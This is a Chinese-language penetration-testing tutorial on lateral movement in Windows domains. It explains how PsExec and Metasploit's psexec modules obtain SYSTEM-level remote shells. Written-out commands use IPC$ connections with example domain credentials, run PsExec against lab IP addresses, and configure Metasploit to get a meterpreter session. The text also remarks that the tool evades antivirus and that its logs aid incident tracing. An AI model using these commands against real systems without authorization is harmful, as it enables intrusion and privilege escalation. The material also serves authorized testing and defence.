PsExec 主要用于大批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec 是 Windows 提供的工具,所以杀毒软件将其列入白名单中)
因为使用 PsExec 通过命令行环境与目标机器建立连接,甚至控制目标机器,而不需要通过远程桌面(RDP)进行图形化的控制。
PsExec 包含在 PsTools 工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip
通过 PsExec 可以在远程目标主机上执行命令,也可以将管理员权限提升到 System 权限以运行指定的程序。
PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。
PsExec的使用
PsExec的使用
首先,需要获取目标操作系统的交互式 Shell。在建立了 ipc$ 的情况下:
net use \192.168.3.21 /u:godadministrator Admin12345
执行如下命令,获取 System 权限的 Shell:
PsExec.exe -accepteula \192.168.3.21 -s cmd.exe
# -accepteula 第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s 以System权限运行远程进程,获得一个System权限的交互式Shell,如果不用这个参数,那么会获得一个administrator权限的shell
获得一个 administrator 权限的 shell:
PsExec.exe -accepteula \192.168.3.21 cmd.exe
如果没有建立 ipc$,PsExec 有两个参数可以通过指定的账号和密码进行远程连接:
PsExec.exe \192.168.3.21 -u godadministrator -p Admin12345 cmd.exe
# -u 域用户名
# -p 密码
使用 PsExec 在远程计算机上执行命令进行回显:
PsExec.exe \192.168.3.21 -u godadministrator -p Admin12345 cmd /c "ipconfig"
PsExec的注意事项
需要远程系统开启admin$共享(默认是开启的),原理是基于IPC$共享,目标需要开放445端口和admin$共享
在使用IPC连接目标系统后,不需要输入账户和密码。
在使用PsExec执行远程命令时,会在目标系统中创建一个psexec的服务。命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。
使用PsExec可以直接获得System权限的交互式Shell(前提目标是administrator权限的shell)
在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec功能,只能依靠账号和密码进行传递。
Metasploit 使用 PsExec 模块
查找有关 psexec 的模块:
search psexec
有两个常用的模块:
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(Powershell 版本的 psexec)
使用模块:
use exploit/windows/smb/psexec
set rhosts 192.168.2.25
set smbuser administrator
set smbpass Admin12345
运行 exploit ,运行脚本会获得一个 meterpreter:
输入 shell,会获得一个 system 权限的 shell:
psexec_psh 模块和 psexec 模块的使用方法相同,二者的区别在于,通过 psexec_psh 模块上传的 payload 是 powershell 版本的。
参考文章:
https://zhuanlan.zhihu.com/p/228742108